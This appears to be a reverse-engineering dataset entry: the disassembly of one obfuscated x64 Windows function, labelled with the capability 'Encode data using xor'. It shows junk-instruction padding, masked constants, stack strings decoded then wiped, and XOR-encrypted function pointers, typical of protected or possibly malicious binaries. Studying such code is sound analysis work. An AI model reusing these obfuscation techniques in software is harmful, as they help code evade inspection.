Function at 0x1400ba070
Capabilities:
Encode data using xor

Disassembly:
xchg r10, rbx
mov qword [rsp + 0x10], r10
xchg rbx, r10
xchg rcx, rsi
mov qword [rsp + 8], rsi
xchg rcx, rsi
nop
push r12
mov qword [rsp], rbp
push rsi
nop
sub rsp, 8
mov qword [rsp], rdi
push r12
push r13
nop
sub rsp, 8
mov qword [rsp], r14
nop
sub rsp, 8
mov qword [rsp], r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
xchg r12, rdx
mov r13, r12
xchg r12, rdx
xchg r14, rcx
mov rcx, r14
xchg r14, rcx
xor ebx, ebx
xchg r13, rbx
mov qword [rcx + 8], r13
xchg r13, rbx
xchg rbx, r13
mov qword [rcx + 0x10], r13
xchg rbx, r13
mov dword [rcx + 0x18], ebx
call fcn.1400a6b00
sub rax, 0x2ead369
add rax, 0x2eacf81
mov qword [r14 + 0x28], rax
mov word [r14 + 0x30], bx
lea rcx, [r14 + 0x38]
xchg rbx, rsi
mov qword [rcx], rsi
xchg rbx, rsi
xchg rbx, r14
mov qword [rcx + 0x10], r14
xchg r14, rbx
mov qword [rcx + 0x18], 0x54acf775
xor qword [rcx + 0x18], 0x54acf772
mov word [rcx], bx
xor r8d, r8d
lea rdx, [0x14000186c]
call fcn.14000f4a0
nop
mov qword [r14 + 0x58], rbx
xchg r13, rbx
mov qword [r14 + 0x68], r13
xchg r13, rbx
mov qword [r14 + 0x78], rbx
xchg r13, rbx
mov qword [r14 + 0x88], r13
xchg rbx, r13
mov qword [r14 + 0x98], rbx
mov qword [r14 + 0xa8], rbx
xchg r9, rbx
mov qword [r14 + 0xb8], r9
xchg rbx, r9
mov qword [r14 + 0xc8], rbx
mov qword [r14 + 0xd8], rbx
xchg rbx, rdi
mov qword [r14 + 0xe8], rdi
xchg rbx, rdi
xchg rbx, r9
mov qword [r14 + 0xf8], r9
xchg r9, rbx
mov qword [r14 + 0x108], rbx
call fcn.1400becc0
xchg r9, rax
mov rax, r9
xchg r9, rax
mov dword [rsp + 0x30], 0x3cbead26
xor dword [rsp + 0x30], 0x82001398
mov dword [rsp + 0x3c], 0x20f31e7f
add dword [rsp + 0x3c], 0xdeb8e11a
mov dword [rsp + 0x40], 0x5fa00b2e
add dword [rsp + 0x40], 0xa00af482
mov dword [rsp + 0x34], 0x20dfb2f9
add dword [rsp + 0x34], 0x9ddf0bc5
mov dword [rsp + 0x44], 0x697b89a
add dword [rsp + 0x44], 0xf91f471c
mov dword [rsp + 0x48], 0x543d603c
add dword [rsp + 0x48], 0xab339f76
mov word [rsp + 0x38], 0x504c
add word [rsp + 0x38], 0x6e72
mov dword [rsp + 0x4c], 0x41c13880
add dword [rsp + 0x4c], 0xbdedc726
mov byte [rsp + 0x3a], 2
add byte [rsp + 0x3a], 0xbc
mov dword [rsp + 0x50], 0x7015ac0d
sub dword [rsp + 0x50], 0x7014ac5f
mov edx, ebx
movzx ecx, word [rsp + rdx*2 + 0x3c]
movzx eax, byte [rsp + rdx + 0x30]
add ax, cx
mov word [rsp + rdx*2 + 0x3c], ax
mov byte [rsp + rdx + 0x30], 8
sub byte [rsp + rdx + 0x30], 8
inc rdx
cmp rdx, 0xb
jb 0x1400ba24a
xor r8d, r8d
lea rdx, [rsp + 0x3c]
xchg rcx, rsi
mov rsi, r9
xchg rcx, rsi
call fcn.1400bf720
xchg r15, rax
mov qword [r14], r15
xchg r15, rax
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop dword [rax + rax]
mov byte [rsp + rax + 0x3c], 0x5b
sub byte [rsp + rax + 0x3c], 0x5b
inc rax
cmp rax, 0x16
jb 0x1400ba29f
mov word [r14 + 0x20], bx
call fcn.1400becc0
lea rcx, [0x140003138]
mov qword [rbp - 0x20], rcx
lea rcx, [0x1400bb020]
mov qword [rbp - 0x18], rcx
lea rcx, [rbp - 0x20]
mov qword [rbp + 0x18], rcx
lea r9, [rbp - 0x20]
xchg r14, rcx
mov r8, rcx
xchg r14, rcx
mov rdx, qword [r14]
xchg r12, rax
mov rcx, r12
xchg r12, rax
call fcn.1400be260
xor edx, edx
mov r8d, 0x1ea9d37a
sub r8d, 0x1ea9d27a
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x76], 0x3d84a401
add dword [rsp + 0x76], 0x813a1abd
mov dword [rbp - 0x70], 0x3ce02300
add dword [rbp - 0x70], 0xc2d0dc87
mov dword [rbp - 0x6c], 0x2a239903
add dword [rbp - 0x6c], 0xd58866a6
mov dword [rsp + 0x7a], 0x1c48e9a8
add dword [rsp + 0x7a], 0xa275d516
mov dword [rbp - 0x68], 0x122a9914
add dword [rbp - 0x68], 0xed7d669c
mov dword [rbp - 0x64], 0x1c8feee7
add dword [rbp - 0x64], 0xe32a10aa
mov dword [rsp + 0x7e], 0x3eceed39
add dword [rsp + 0x7e], 0x7fefd185
mov dword [rbp - 0x60], 0x76f12476
xor dword [rbp - 0x60], 0x895adbc6
mov dword [rbp - 0x5c], 0x1decaa5d
add dword [rbp - 0x5c], 0xe1bd5553
mov dword [rbp - 0x7e], 0x687a08ed
add dword [rbp - 0x7e], 0x5644b5d1
mov dword [rbp - 0x58], 0x7b25ea74
xor dword [rbp - 0x58], 0x84a01516
mov dword [rbp - 0x54], 0x35f250aa
add dword [rbp - 0x54], 0xc9b9af04
mov dword [rbp - 0x7a], 0x4981a8c5
add dword [rbp - 0x7a], 0x753d15f9
mov dword [rbp - 0x50], 0x1ef5bc23
xor dword [rbp - 0x50], 0xe1454384
mov dword [rbp - 0x4c], 0x39d3371
add dword [rbp - 0x4c], 0xfbd4cc45
mov dword [rbp - 0x76], 0x2d6b6e44
add dword [rbp - 0x76], 0x9153507a
mov dword [rbp - 0x48], 0x113c2802
add dword [rbp - 0x48], 0xee34d773
mov dword [rbp - 0x44], 0x1c929be4
add dword [rbp - 0x44], 0xe3146383
xor eax, eax
mov word [rbp - 0x40], ax
xchg rdx, rbx
mov rbx, rdx
xchg rdx, rbx
movzx ecx, word [rbp + rdx*2 - 0x70]
movzx eax, byte [rsp + rdx + 0x76]
add ax, cx
mov word [rbp + rdx*2 - 0x70], ax
mov byte [rsp + rdx + 0x76], 0x6b
sub byte [rsp + rdx + 0x76], 0x6b
inc rdx
cmp rdx, 0x18
jb 0x1400ba423
mov r8d, 0x64bb1323
sub r8d, 0x64bb12f8
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x20]
call qword [sym.imp.USER32.dll_wsprintfW]
xchg r15, rax
mov r15, rbx
xchg r15, rax
nop word [rax + rax]
mov byte [rbp + rax - 0x70], 0x4a
xor byte [rbp + rax - 0x70], 0x4a
inc rax
cmp rax, 0x30
jb 0x1400ba474
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call fcn.1400bb5e0
neg al
sbb r15d, r15d
and r15d, 4
movabs rsi, 0x8523947ea5006
xor rsi, 0x2d14626f
movabs rdi, 0xc56297b1d227a
add rdi, 0x7fffffff
sub rdi, 0x78039023
cmp qword [0x1401280e0], rsi
je 0x1400ba60e
mov rax, qword [0x1401280f0]
cmp rax, rdi
je 0x1400ba60e
cmp byte [0x140128f50], 0
jne 0x1400ba52b
push rax
xor eax, edi
push rax
xor rax, qword [rsp + 8]
shr rax, 0x20
ror rdi, 0x20
xor eax, edi
ror rdi, 0x20
shl rax, 0x20
xor rax, qword [rsp]
add rsp, 0x10
lea rdx, [0x1400baf20]
mov ecx, 0x544b7fc
xor ecx, 0x544b7fd
call rax
mov ecx, 0x3cdd9cb7
sub ecx, 0x3cdd9cb6
call fcn.140110294
xchg rdi, rsi
mov rdi, rax
xchg rdi, rsi
movabs rax, 0x58235976c550e43
add rax, 0x7fffffff
add rax, 0x53cdcb5
mov rdi, qword [r14 + 0x58]
push rdi
xor edi, eax
push rdi
xor rdi, qword [rsp + 8]
shr rdi, 0x20
ror rax, 0x20
xor edi, eax
ror rax, 0x20
shl rdi, 0x20
xor rdi, qword [rsp]
add rsp, 0x10
xchg rsi, rcx
mov rsi, rcx
xchg rsi, rcx
movabs rax, 0x5823592794df98d
sub rax, 0x1088734
push rcx
xor ecx, eax
push rcx
xor rcx, qword [rsp + 8]
shr rcx, 0x20
ror rax, 0x20
xor ecx, eax
ror rax, 0x20
shl rcx, 0x20
or rcx, qword [rsp]
add rsp, 0x10
mov qword [rbp - 0x38], rcx
lea rdx, [rbp - 0x38]
lea rcx, [0x140128f40]
call fcn.14000aa40
mov qword [rax], rdi
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
lea rcx, [rbp + 0x20]
call rsi
movabs rdi, 0xc56297ef19d6c
add rdi, 0x427f4ea
movabs rsi, 0x852393876a6e1
add rsi, 0x32878b88
jmp 0x1400ba659
movabs rcx, 0x533719eae
add rcx, 0x5662fa00
mov rax, qword [r14 + 0x58]
push rax
xor eax, ecx
push rax
xor rax, qword [rsp + 8]
shr rax, 0x20
ror rcx, 0x20
xor eax, ecx
ror rcx, 0x20
shl rax, 0x20
xor rax, qword [rsp]
add rsp, 0x10
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
lea rcx, [rbp + 0x20]
call rax
mov qword [r14 + 8], rax
test rax, rax
je 0x1400ba8a6
mov dword [rbp + 0x170], 0x7caa738c
xor dword [rbp + 0x170], 0x7caa7384
mov dword [rsp + 0x20], 0x42471b4
sub dword [rsp + 0x20], 0x42471b0
lea r9, [rbp + 0x170]
mov r8d, 0x2b971fcb
xor r8d, 0x2b971fc8
xchg rcx, rax
mov rdx, rcx
xchg rcx, rax
lea rcx, [r14 + 0xd8]
call fcn.1400bab30
xchg r8, r15
mov r8, qword [r14 + 8]
xchg r15, r8
cmp qword [0x1401280e0], rsi
je 0x1400ba7e6
mov rax, qword [0x1401280f0]
cmp rax, rdi
je 0x1400ba7e6
cmp byte [0x140128f50], 0
jne 0x1400ba71c
push rax
xor eax, edi
push rax
xor rax, qword [rsp + 8]
shr rax, 0x20
ror rdi, 0x20
xor eax, edi
ror rdi, 0x20
shl rax, 0x20
or rax, qword [rsp]
add rsp, 0x10
lea rdx, [0x1400baf20]
mov ecx, 0x1cc7429a
sub ecx, 0x1cc74299
call rax
mov ecx, 0x259ea5c8
sub ecx, 0x259ea5c7
call fcn.140110294
xchg r9, rax
mov rsi, r9
xchg r9, rax
movabs rax, 0x58235965f3b075c
xor rax, 0x35443677
mov rdi, qword [r14 + 0x68]
push rdi
xor edi, eax
push rdi
xor rdi, qword [rsp + 8]
shr rdi, 0x20
ror rax, 0x20
xor edi, eax
ror rax, 0x20
shl rdi, 0x20
or rdi, qword [rsp]
add rsp, 0x10
xchg r11, rsi
mov rdx, r11
xchg r11, rsi
movabs rax, 0x58235922e2ad8f7
xor rax, 0x566faaae
push rdx
xor edx, eax
push rdx
xor rdx, qword [rsp + 8]
shr rdx, 0x20
ror rax, 0x20
xor edx, eax
ror rax, 0x20
shl rdx, 0x20
xor rdx, qword [rsp]
add rsp, 0x10
mov qword [rbp - 0x30], rdx
lea rdx, [rbp - 0x30]
lea rcx, [0x140128f40]
call fcn.14000aa40
mov qword [rax], rdi
mov r8d, 0x4c555a4c
sub r8d, 0x4c555891
xor r9d, r9d
xchg r13, rdx
mov r13, rdx
xchg r13, rdx
xchg r10, rcx
mov r10, r15
xchg r10, rcx
call rsi
jmp 0x1400ba840
movabs rcx, 0x41f27b597
sub rcx, 0xced7225
xchg rbp, rax
mov rbp, qword [r14 + 0x68]
xchg rbp, rax
push rax
xor eax, ecx
push rax
xor rax, qword [rsp + 8]
shr rax, 0x20
ror rcx, 0x20
xor eax, ecx
ror rcx, 0x20
shl rax, 0x20
or rax, qword [rsp]
add rsp, 0x10
mov r8d, 0x381c8ec8
sub r8d, 0x381c8d0d
xor r9d, r9d
mov rdx, r13
xchg rcx, r15
mov r15, rcx
xchg r15, rcx
call rax
xchg rbx, rax
mov qword [r14 + 0x10], rbx
xchg rbx, rax
test rax, rax
je 0x1400ba8a6
call fcn.1400bb5e0
test al, al
je 0x1400ba8a6
mov dword [rbp + 0x178], 0x38ad3540
sub dword [rbp + 0x178], 0x38ad353d
mov dword [rsp + 0x20], 0x72657a45
sub dword [rsp + 0x20], 0x72657a41
lea r9, [rbp + 0x178]
mov r8d, 0x58307543
sub r8d, 0x583074cd
mov rdx, qword [r14 + 0x10]
lea rcx, [r14 + 0xd8]
call fcn.1400bab30
cmp qword [r14 + 8], 0
je 0x1400ba8bc
cmp qword [r14 + 0x10], 0
jne 0x1400ba8c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r14 + 0x18], eax
call fcn.1400becc0
xchg r9, rax
mov rax, r9
xchg r9, rax
mov dword [rsp + 0x54], 0x337aba53
add dword [rsp + 0x54], 0x8b44046b
mov dword [rsp + 0x60], 0x371cc6f0
add dword [rsp + 0x60], 0xc89438b6
mov dword [rsp + 0x64], 0x4534a5a4
add dword [rsp + 0x64], 0xba6f5a11
mov dword [rsp + 0x58], 0x7b6c0683
add dword [rsp + 0x58], 0x4352b83b
mov dword [rsp + 0x68], 0x2d929264
add dword [rsp + 0x68], 0xd2196d4e
mov dword [rsp + 0x6c], 0x7f009c67
add dword [rsp + 0x6c], 0x80a66309
mov word [rsp + 0x5c], 0x4a8
xor word [rsp + 0x5c], 0xba16
mov dword [rsp + 0x70], 0x2eeff84
add dword [rsp + 0x70], 0xfcc0002a
xor eax, eax
mov word [rsp + 0x74], ax
xchg rbx, rdx
mov rbx, rdx
xchg rbx, rdx
movzx ecx, word [rsp + rdx*2 + 0x60]
movzx eax, byte [rsp + rdx + 0x54]
add ax, cx
mov word [rsp + rdx*2 + 0x60], ax
mov byte [rsp + rdx + 0x54], 0xe
sub byte [rsp + rdx + 0x54], 0xe
inc rdx
cmp rdx, 0xa
jb 0x1400ba960
xor r8d, r8d
lea rdx, [rsp + 0x60]
xchg rcx, r9
mov r9, rcx
xchg r9, rcx
call fcn.1400bf720
xchg r11, rdi
mov r11, rax
xchg rdi, r11
nop word [rax + rax]
mov byte [rsp + rbx + 0x60], 0x2d
sub byte [rsp + rbx + 0x60], 0x2d
inc rbx
cmp rbx, 0x14
jb 0x1400ba9b2
call fcn.1400becc0
mov r8d, 0x6865005c
add r8d, 0x19e8c84b
xchg rdx, r12
mov r12, rdi
xchg r12, rdx
xchg r9, rax
mov rcx, r9
xchg r9, rax
call fcn.1400beb30
movabs rcx, 0x80049b4f6
add rcx, 0x7fffffff
add rcx, 0x20dcf3d
push rax
xor eax, ecx
push rax
xor rax, qword [rsp + 8]
shr rax, 0x20
ror rcx, 0x20
xor eax, ecx
ror rcx, 0x20
shl rax, 0x20
xor rax, qword [rsp]
add rsp, 0x10
mov qword [r14 + 0x108], rax
xchg r14, rax
mov r14, rax
xchg r14, rax
xchg rdx, rbx
mov rdx, qword [rsp + 0x268]
xchg rbx, rdx
add rsp, 0x220
nop
mov r15, qword [rsp]
add rsp, 8
nop
add rsp, 8
xchg qword [rsp - 8], r14
nop
xchg qword [rsp], r13
add rsp, 8
nop
add rsp, 8
mov r12, qword [rsp - 8]
nop
mov rdi, qword [rsp]
add rsp, 8
nop
mov rsi, qword [rsp]
add rsp, 8
nop
add rsp, 8
mov rbp, qword [rsp - 8]
nop
add rsp, 8
jmp qword [rsp - 8]